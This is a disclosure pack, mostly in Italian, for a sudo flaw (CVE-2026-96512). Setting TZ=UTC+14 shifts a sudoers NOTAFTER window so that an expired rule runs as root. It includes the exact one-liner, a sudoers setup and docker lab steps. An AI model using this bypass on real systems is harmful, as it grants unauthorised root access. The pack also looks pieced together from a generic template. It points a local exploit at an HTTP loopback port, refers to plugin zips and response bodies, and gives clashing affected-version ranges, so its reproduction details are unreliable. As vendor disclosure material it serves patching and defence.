
Disclosure pack e PoC per CVE-2026-96512, un bypass della finestra temporale TZ NOTBEFORE/NOTAFTER di sudo che consente l'escalation locale dei privilegi, con riproduzione in laboratorio e indicazioni per la patch.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-96512
sudo 1.9.13p3 (Debian bookworm) — Sudo Project
È stata rilevata una vulnerabilità in sudo. Quando le regole di sudoers utilizzano restrizioni di accesso basate sul tempo NOTBEFORE o NOTAFTER con timestamp che omettono l'indicatore di fuso orario finale Z, la valutazione temporale si basa sulla variabile d'ambiente TZ ereditata dall'utente chiamante.
| CVE | CVE-2026-96512 · CVE.org |
| CWE | CWE-863 |
| CVSS | Alto: 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Prodotto | sudo |
| Affette | tutte le versioni fino alla 1.9.13p3 (Debian bookworm) (inclusa) |
| Corrette | commit main 1820a34 (nessuna release upstream disponibile) e successive |
| Auth | autenticato (vedere la mappa del codice sorgente) |
| Licenza | GNU Affero GPL v3.0 |
| Lab | solo 127.0.0.1 · pacchetto di divulgazione per vendor/cliente, non uno scanner |
plugins/sudoers parse_gentime / gram.y timespec. La correzione sudo-project/sudo@1820a34 copia environ da envp e unsetenv TZ.
LOCALTZ=UTC+14 sudo -n /usr/bin/idsudoers: labuser ALL=(root) NOPASSWD: NOTAFTER=<now-1h no Z> /usr/bin/idlabuser sudo -n /usr/bin/id -> negato (scaduto)TZ=UTC+14 sudo -n /usr/bin/idparse_gentime mktime rispetta POSIX TZ=UTC+14NOTAFTER epoch si sposta di +14h; comando consentito come rootSenza TZ: sudo -n id negato. Con TZ=UTC+14: uid=0(root).
Fare questo per primo: Aggiornare sudo al commit main 1820a34 (nessuna release upstream disponibile) o successivo.
Verifica dopo l'aggiornamento
CVE-2026-96512-Abraxas-Labs.py sulla build corretta: il witness mappato non deve comparire.Se non è possibile aggiornare immediatamente
Target solo http://127.0.0.1:8088 (o il loopback su cui è stato effettuato il bind). Non puntare questo script verso Internet.
python3 CVE-2026-96512-Abraxas-Labs.py
Il successo è il witness sopra indicato nel corpo della risposta. Un generico HTML 200 non lo è.
Stack loopback utilizzato per la riproduzione. Immagini ufficiali a meno che un Dockerfile in questa cartella non venga compilato dal sorgente.
cd lab
docker compose up --force-recreate
Collegare l'albero del prodotto vulnerabile accanto a Compose se lo YAML monta una directory locale (zip del plugin / tag del sorgente dalla tabella delle versioni). Non pubblicare nulla eccetto 127.0.0.1.
github.com/sudo-project/sudo/commit/1820a349687522f51023d1ae5925125f59679a8c
Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null
# CVE-2026-96512
CWE: CWE-863
CVSS: High 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Red Hat).
## Description
sudoers `NOTBEFORE`/`NOTAFTER` timestamps without a trailing `Z` are converted with `mktime()`, which follows the caller’s `TZ`. A local user who is already named in such a rule can shift the window by up to ~25 hours (POSIX `TZ=UTC+14`) and run the allowed command outside the intended period. PAM authentication is unchanged.
## Product
sudo 1.9.13p3 on Debian bookworm (upstream 1.8.20–1.9.17p2). Fix in main `1820a34`; no upstream tarball yet at disclosure. Lab oracle is `uid=0(root)` via TZ, not a shell.
Questo pacchetto di divulgazione è rilasciato sotto la GNU Affero General Public License v3.0. Vedere LICENSE.
Questo pacchetto è destinato al vendor, al proprietario del sito e ai lab autorizzati. Lo script comunica con 127.0.0.1. L'utilizzo contro sistemi di cui non si è proprietari non è autorizzato da Abraxas Labs. Nessuna garanzia.